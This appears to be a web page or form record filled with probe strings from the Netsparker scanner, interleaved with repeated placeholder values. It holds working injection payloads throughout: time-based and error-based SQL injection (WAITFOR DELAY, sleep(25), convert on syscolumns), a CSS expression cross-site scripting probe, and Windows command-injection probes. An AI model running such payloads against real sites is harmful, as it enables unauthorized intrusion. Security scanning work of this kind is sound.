20141209

body{x:expression(netsparker(0x00085F))}

3

3

 

20141209

3

3

3

 

20141209

3

%27

3

 

20141209

*/netsparker(0x000860);/*

3

3

 

20141209

1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

3

3

 

20141209

3

(select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns)

3

 

20141209

'+netsparker(0x000861)+'

3

3

 

20141209

"+netsparker(0x000862)+"

3

3

 

20141209

1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

3

3

 

20141209

3

'+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

3

 

20141209

"& SET /A 0xFFF9999-2 &

3

3

 

20141209

1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

3

3

 

20141209

',netsparker(0x000863),'

3

3

 

20141209

3

convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)))

3

 

20141209

'& SET /A 0xFFF9999-2 &

3

3

 

20141209

syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--

3

3

 

20141209

3

'+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'

3

 

20141209

netsparker(0x000864)

3

3

 

20141209

-1 AND (SELECT 1 FROM (SELECT 2)a WHERE 1=sleep(25))-- 1

3

3

 

20141209

& SET /A 0xFFF9999-2 &

3

3